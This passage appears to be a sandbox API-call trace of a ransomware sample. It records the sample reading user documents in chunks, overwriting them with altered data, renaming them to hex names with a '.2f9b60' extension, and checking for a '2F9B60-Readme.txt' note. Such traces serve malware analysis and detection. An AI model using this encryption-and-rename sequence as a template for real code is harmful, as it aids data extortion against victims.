Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x155a9ccd [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x5f9f5eca [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x56a153a2 [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x3ec0b1bf [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x45a81e1f [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x550338ea [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x4cb0a1ca [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x2799d89f [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x1445bcb8 [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x39b682a2 [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x5a6acdca [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x46daa41e [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x65a13a94 [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x18883fc9 [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x3dd9e97e [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x5ceae096 [0092.803] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.803] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2229f860, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2229f860*=0x3c00, lpOverlapped=0x0) returned 1 [0092.803] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0092.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0092.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0092.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0092.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b140) returned 1 [0092.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.804] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2229f860, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2229f860*=0x3c00, lpOverlapped=0x0) returned 1 [0092.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.806] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.807] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2229f860, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2229f860*=0x3c00, lpOverlapped=0x0) returned 1 [0092.807] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0092.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b140) returned 1 [0092.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0092.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b170) returned 1 [0092.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.808] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2229f860, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2229f860*=0x3c00, lpOverlapped=0x0) returned 1 [0092.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.809] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x12280, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.809] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2229f860, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2229f860*=0x3c00, lpOverlapped=0x0) returned 1 [0092.809] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x12280, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b170) returned 1 [0092.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0e0 [0092.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0e0) returned 1 [0092.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.810] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2229f860, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2229f860*=0x3c00, lpOverlapped=0x0) returned 1 [0092.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e410 [0092.811] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.811] WriteFile (in: hFile=0xcfc, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2229f910, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2229f910*=0x160, lpOverlapped=0x0) returned 1 [0092.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0092.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0092.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b140) returned 1 [0092.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f3f0 [0092.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0092.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b170) returned 1 [0092.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0092.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b86e2c0 [0092.813] sprintf (in: _Dest=0x1b86e2c0, _Format="%c%c" | out: _Dest="e9") returned 2 [0092.813] sprintf (in: _Dest=0x1b86e2c2, _Format="%c%c" | out: _Dest="94") returned 2 [0092.813] sprintf (in: _Dest=0x1b86e2c4, _Format="%c%c" | out: _Dest="2a") returned 2 [0092.813] sprintf (in: _Dest=0x1b86e2c6, _Format="%c%c" | out: _Dest="17") returned 2 [0092.813] sprintf (in: _Dest=0x1b86e2c8, _Format="%c%c" | out: _Dest="88") returned 2 [0092.813] sprintf (in: _Dest=0x1b86e2ca, _Format="%c%c" | out: _Dest="40") returned 2 [0092.813] sprintf (in: _Dest=0x1b86e2cc, _Format="%c%c" | out: _Dest="65") returned 2 [0092.813] sprintf (in: _Dest=0x1b86e2ce, _Format="%c%c" | out: _Dest="55") returned 2 [0092.813] sprintf (in: _Dest=0x1b86e2d0, _Format="%c%c" | out: _Dest="04") returned 2 [0092.813] sprintf (in: _Dest=0x1b86e2d2, _Format="%c%c" | out: _Dest="29") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2d4, _Format="%c%c" | out: _Dest="54") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2d6, _Format="%c%c" | out: _Dest="89") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2d8, _Format="%c%c" | out: _Dest="a1") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2da, _Format="%c%c" | out: _Dest="9d") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2dc, _Format="%c%c" | out: _Dest="4a") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2de, _Format="%c%c" | out: _Dest="e0") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2e0, _Format="%c%c" | out: _Dest="b3") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2e2, _Format="%c%c" | out: _Dest="22") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2e4, _Format="%c%c" | out: _Dest="86") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2e6, _Format="%c%c" | out: _Dest="c9") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2e8, _Format="%c%c" | out: _Dest="42") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2ea, _Format="%c%c" | out: _Dest="87") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2ec, _Format="%c%c" | out: _Dest="c4") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2ee, _Format="%c%c" | out: _Dest="de") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2f0, _Format="%c%c" | out: _Dest="23") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2f2, _Format="%c%c" | out: _Dest="52") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2f4, _Format="%c%c" | out: _Dest="34") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2f6, _Format="%c%c" | out: _Dest="90") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2f8, _Format="%c%c" | out: _Dest="e6") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2fa, _Format="%c%c" | out: _Dest="02") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2fc, _Format="%c%c" | out: _Dest="09") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e2fe, _Format="%c%c" | out: _Dest="07") returned 2 [0092.814] sprintf (in: _Dest=0x1b86e300, _Format="%c%c" | out: _Dest="16") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e302, _Format="%c%c" | out: _Dest="c1") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e304, _Format="%c%c" | out: _Dest="d4") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e306, _Format="%c%c" | out: _Dest="3b") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e308, _Format="%c%c" | out: _Dest="73") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e30a, _Format="%c%c" | out: _Dest="4a") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e30c, _Format="%c%c" | out: _Dest="00") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e30e, _Format="%c%c" | out: _Dest="e4") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e310, _Format="%c%c" | out: _Dest="57") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e312, _Format="%c%c" | out: _Dest="81") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e314, _Format="%c%c" | out: _Dest="11") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e316, _Format="%c%c" | out: _Dest="8b") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e318, _Format="%c%c" | out: _Dest="25") returned 2 [0092.815] sprintf (in: _Dest=0x1b86e31a, _Format="%c%c" | out: _Dest="0d") returned 2 [0092.815] RtlInitAnsiString (in: DestinationString=0x2229f988, SourceString="e9942a178840655504295489a19d4ae0b32286c94287c4de23523490e602090716c1d43b734a00e45781118b250d" | out: DestinationString="e9942a178840655504295489a19d4ae0b32286c94287c4de23523490e602090716c1d43b734a00e45781118b250d") [0092.815] RtlAnsiStringToUnicodeString (in: DestinationString=0x2229f958, SourceString="e9942a178840655504295489a19d4ae0b32286c94287c4de23523490e602090716c1d43b734a00e45781118b250d", AllocateDestinationString=1 | out: DestinationString="e9942a178840655504295489a19d4ae0b32286c94287c4de23523490e602090716c1d43b734a00e45781118b250d") returned 0x0 [0092.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118610 [0092.815] wcscat (in: _Dest=0x1b7ad2a0, _Source="e9942a17884065550429548" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e9942a17884065550429548") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e9942a17884065550429548" [0092.815] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e9942a17884065550429548.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e9942a17884065550429548.2f9b60" [0092.815] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e9942a17884065550429548.2f9b60", NtPathName=0x2229f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e9942a17884065550429548.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107a80 [0092.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0092.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.818] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x2229f998, FileInformation=0x2229f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2229f998, FileInformation=0x2229f9a8) returned 0x0 [0092.818] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x2229f998, FileInformation=0x2229f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0092.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0092.822] FlushFileBuffers (hFile=0xcfc) returned 1 [0092.824] CloseHandle (hObject=0xcfc) returned 1 [0092.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef10 [0092.824] wcscpy (in: _Dest=0x1b85ef10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.824] wcscat (in: _Dest=0x1b85ef10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.825] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784c70) returned 1 Thread: id = 509 os_tid = 0xd40 [0092.828] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ItHZwt.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ithzwt.xlsx")) returned 0x20 [0092.828] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ItHZwt.xlsx", dwFileAttributes=0x20) returned 1 [0092.828] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ItHZwt.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ithzwt.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0092.829] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x2271fc40 | out: lpFileSize=0x2271fc40*=31588) returned 1 [0092.829] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x7b60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.829] ReadFile (in: hFile=0xcfc, lpBuffer=0x2271fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2271fc08, lpOverlapped=0x0 | out: lpBuffer=0x2271fbc0*, lpNumberOfBytesRead=0x2271fc08*=0x4, lpOverlapped=0x0) returned 1 [0092.830] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2c0 [0092.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0092.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0092.830] NtQuerySystemTime (in: CurrentTime=0x2271fb00 | out: CurrentTime=0x2271fb00*=132462176986618000) returned 0x0 [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x50854273 [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x7a647df7 [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x5f31905e [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x7027fe54 [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x5c5ff44 [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x56e93f5e [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x7f3437cf [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x340f7c77 [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x4f048b82 [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x5171e788 [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x64ef2454 [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x19f3af0f [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x1fc8ab7a [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x37bcf830 [0092.830] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x5bac77fd [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x14b68c5c [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0xe7fea8c [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x4dadc582 [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x6a7fcc2d [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x3ea9ff4b [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x4e97161a [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x2842dd0f [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x39f90ab4 [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x5249d294 [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x6ed1f67c [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x303a48b [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x522086f3 [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x2bf63140 [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x2de87017 [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x5e018f2a [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x194442bf [0092.831] RtlRandomEx (in: Seed=0x2271faf0 | out: Seed=0x2271faf0) returned 0x71f31603 [0092.842] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.842] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2271fb60, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2271fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.842] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2c0 [0092.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2c0) returned 1 [0092.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2c0 [0092.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0092.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b200) returned 1 [0092.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.844] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2271fb60, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2271fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0092.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85b200 [0092.848] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.849] WriteFile (in: hFile=0xcfc, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2271fc10, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2271fc10*=0x108, lpOverlapped=0x0) returned 1 [0092.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0e0 [0092.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0e0) returned 1 [0092.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0092.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0e0 [0092.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0b0 [0092.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0b0) returned 1 [0092.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f3f0 [0092.851] sprintf (in: _Dest=0x1cd9f3f0, _Format="%c%c" | out: _Dest="b9") returned 2 [0092.851] sprintf (in: _Dest=0x1cd9f3f2, _Format="%c%c" | out: _Dest="2b") returned 2 [0092.851] sprintf (in: _Dest=0x1cd9f3f4, _Format="%c%c" | out: _Dest="33") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f3f6, _Format="%c%c" | out: _Dest="da") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f3f8, _Format="%c%c" | out: _Dest="cd") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f3fa, _Format="%c%c" | out: _Dest="d7") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f3fc, _Format="%c%c" | out: _Dest="65") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f3fe, _Format="%c%c" | out: _Dest="d6") returned 2 [0092.870] sprintf (in: _Dest=0x1cd9f400, _Format="%c%c" | out: _Dest="b8") returned 2 